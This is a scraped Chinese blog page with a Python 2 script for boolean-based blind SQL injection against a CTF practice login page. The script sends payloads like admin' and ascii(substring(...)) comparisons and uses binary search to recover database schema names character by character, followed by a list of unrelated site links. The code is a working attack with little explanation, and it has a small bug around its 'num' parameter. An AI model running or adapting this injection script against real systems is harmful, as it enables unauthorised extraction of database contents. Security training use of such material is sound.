python mysql盲注小程序
来源:互联网 发布:保山学院网络教学平台 编辑:程序博客网 时间:2024/06/05 21:08
# -*- coding: gbk -*-import urllib2import urllibsqlcomm="(SELECT SCHEMA_NAME FROM information_schema.SCHEMATA limit 1,1)"data = { "admin":"admin' and (ascii(substring(version(),1,1))=0) #", "pass":"f", "action":"login"}def getlength(): for counti in range(1000): data["admin"]="admin' and length(%s)=%s #&pass=f&action=login" % (sqlcomm,str(counti)) urldata=urllib.urlencode(data) url="http://ctf1.simplexue.com/basic/inject/index.php?"+urldata headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"} req = urllib2.Request(url,headers=headers) resul=urllib2.urlopen(req).read() resulstr=resul.decode('gbk') if resulstr.find(u'数据库连接失败')==-1: #查找中文 print counti return counti return Falsedef sendhttp(countn,sign,num): data["admin"]="admin' and (ascii(substring(%s,%s,1))%s%s) #" % (sqlcomm,str(countn),sign,str(middle)) urldata=urllib.urlencode(data) url="http://ctf1.simplexue.com/basic/inject/index.php?"+urldata headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"} req = urllib2.Request(url,headers=headers) resul=urllib2.urlopen(req).read() resulstr=resul.decode('gbk') if resulstr.find(u'数据库连接失败')==-1: return True return Falsecoutnum= getlength()for j in range(1,coutnum+1): min,max=0,140 while min<=max: middle=(max+min)//2 if sendhttp(j,"=",middle): print chr(middle), break if sendhttp(j,">",middle): min=middle+1 else: max=middle-1
0 0
- python mysql盲注小程序
- python mysql 分页程序
- python连接mysql简单小程序
- 使用Python程序对MySQL进行操作
- pyinstaller 打包Python程序(APScheduler,mysql)遇到的问题
- python程序
- Python - 打包python程序
- mysql---python
- python + mysql
- python mysql
- python mysql
- PYTHON MYSQL
- MySQL-python
- python+mysql
- Python MySQL
- python mysql
- python mysql
- Python&MySQL
- 直接修改UIView的x,y,width,height...
- linux下头文件
- hdu5237 Base64(模拟)
- ios截图代码
- nyoj 组合数 32 (dfs)
- python mysql盲注小程序
- Android-Activity
- [iOS]隐藏NavigationBar和StatusBar
- Linux下的文件、文件夹加密方法
- Xocde插件制作小入门
- 一个常用的Android APP框架开发(下)
- 用Unity3D实现简易的AR Demo
- 项目34.2-1麻烦的累加涨功夫
- 以.(点号)作为String.split()的分割符